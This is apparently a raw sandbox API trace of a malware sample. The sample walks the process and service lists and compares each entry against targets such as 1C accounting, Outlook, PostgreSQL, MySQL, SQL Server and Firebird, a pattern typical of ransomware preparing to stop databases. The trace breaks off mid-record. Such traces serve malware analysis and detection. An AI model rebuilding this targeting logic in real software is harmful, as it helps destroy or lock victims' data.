[0136.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0136.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0136.008] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.008] lstrlenW (lpString="svchost.exe") returned 11 [0136.008] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0136.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0136.009] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0136.009] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0136.009] lstrlenW (lpString="audiodg.exe") returned 11 [0136.009] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.009] lstrlenW (lpString="svchost.exe") returned 11 [0136.009] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.010] lstrlenW (lpString="svchost.exe") returned 11 [0136.010] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0136.010] lstrlenW (lpString="spoolsv.exe") returned 11 [0136.010] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0136.010] lstrlenW (lpString="taskhost.exe") returned 12 [0136.011] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0136.011] lstrlenW (lpString="svchost.exe") returned 11 [0136.011] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0136.012] lstrlenW (lpString="userinit.exe") returned 12 [0136.012] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0136.012] lstrlenW (lpString="dwm.exe") returned 7 [0136.012] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0136.012] lstrlenW (lpString="explorer.exe") returned 12 [0136.012] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0136.013] lstrlenW (lpString="3G6885.exe") returned 10 [0136.013] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0136.013] lstrlenW (lpString="reader_sl.exe") returned 13 [0136.013] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0136.013] lstrlenW (lpString="dllhost.exe") returned 11 [0136.014] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0136.014] CloseHandle (hObject=0x21c) returned 1 [0136.014] Sleep (dwMilliseconds=0x1f4) [0136.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d89c8 [0136.752] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0136.752] GetLastError () returned 0xea [0136.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41d77b8 [0136.753] EnumServicesStatusExW (in: hSCManager=0x41d89c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0136.753] CloseServiceHandle (hSCObject=0x41d89c8) returned 1 [0136.753] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0136.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0136.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0136.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0136.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0136.754] lstrlenW (lpString="AudioSrv") returned 8 [0136.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0136.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0136.754] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0136.754] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0136.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0136.754] lstrlenW (lpString="BFE") returned 3 [0136.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0136.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0136.754] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0136.754] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0136.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0136.754] lstrlenW (lpString="CryptSvc") returned 8 [0136.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0136.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0136.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0136.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0136.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0136.754] lstrlenW (lpString="CscService") returned 10 [0136.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0136.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0136.755] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0136.755] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0136.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0136.755] lstrlenW (lpString="DcomLaunch") returned 10 [0136.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0136.755] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0136.755] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0136.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0136.755] lstrlenW (lpString="Dhcp") returned 4 [0136.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0136.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0136.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0136.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0136.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0136.755] lstrlenW (lpString="Dnscache") returned 8 [0136.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0136.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0136.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0136.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0136.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0136.756] lstrlenW (lpString="DPS") returned 3 [0136.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0136.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0136.756] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0136.756] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0136.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0136.756] lstrlenW (lpString="eventlog") returned 8 [0136.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0136.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0136.756] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0136.756] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0136.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0136.756] lstrlenW (lpString="EventSystem") returned 11 [0136.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0136.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0136.757] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0136.757] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0136.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0136.757] lstrlenW (lpString="gpsvc") returned 5 [0136.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0136.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0136.757] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0136.757] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0136.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0136.757] lstrlenW (lpString="LanmanWorkstation") returned 17 [0136.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0136.757] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0136.757] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0136.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0136.757] lstrlenW (lpString="lmhosts") returned 7 [0136.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0136.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0136.757] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0136.757] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0136.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0136.758] lstrlenW (lpString="MMCSS") returned 5 [0136.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0136.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0136.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0136.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0136.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0136.758] lstrlenW (lpString="MpsSvc") returned 6 [0136.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0136.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0136.758] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0136.758] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0136.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0136.758] lstrlenW (lpString="NlaSvc") returned 6 [0136.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0136.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0136.758] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0136.758] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0136.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0136.758] lstrlenW (lpString="nsi") returned 3 [0136.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0136.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0136.758] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0136.758] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0136.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0136.759] lstrlenW (lpString="PcaSvc") returned 6 [0136.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0136.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0136.759] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0136.759] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0136.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0136.759] lstrlenW (lpString="PlugPlay") returned 8 [0136.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0136.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0136.759] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0136.759] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0136.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0136.759] lstrlenW (lpString="Power") returned 5 [0136.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0136.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0136.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0136.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0136.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0136.760] lstrlenW (lpString="ProfSvc") returned 7 [0136.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0136.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0136.760] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0136.760] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0136.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0136.760] lstrlenW (lpString="RpcEptMapper") returned 12 [0136.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0136.760] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0136.760] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0136.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0136.760] lstrlenW (lpString="RpcSs") returned 5 [0136.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0136.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0136.760] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0136.760] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0136.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0136.760] lstrlenW (lpString="SamSs") returned 5 [0136.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0136.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0136.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0136.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0136.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0136.761] lstrlenW (lpString="Schedule") returned 8 [0136.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0136.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0136.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0136.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0136.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0136.761] lstrlenW (lpString="SENS") returned 4 [0136.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0136.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0136.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0136.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0136.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0136.761] lstrlenW (lpString="ShellHWDetection") returned 16 [0136.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0136.761] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0136.761] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0136.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0136.761] lstrlenW (lpString="Spooler") returned 7 [0136.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0136.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0136.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0136.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0136.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0136.762] lstrlenW (lpString="Themes") returned 6 [0136.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0136.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0136.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0136.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0136.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0136.762] lstrlenW (lpString="UxSms") returned 5 [0136.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0136.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0136.762] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0136.762] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0136.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0136.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d77b8 | out: hHeap=0x300000) returned 1 [0136.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0136.911] Process32FirstW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0136.911] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0136.912] lstrlenW (lpString="System") returned 6 [0136.912] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0136.912] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0136.912] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0136.912] lstrlenW (lpString="smss.exe") returned 8 [0136.912] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0136.912] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0136.912] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0136.912] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0136.912] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0136.912] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0136.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0136.913] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.913] lstrlenW (lpString="csrss.exe") returned 9 [0136.913] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.913] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.913] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.913] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.913] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.913] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.913] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.913] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0136.914] lstrlenW (lpString="wininit.exe") returned 11 [0136.914] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0136.914] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0136.914] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0136.914] lstrlenW (lpString="csrss.exe") returned 9 [0136.914] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0136.914] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0136.914] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0136.914] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0136.914] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0136.914] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0136.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0136.915] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, 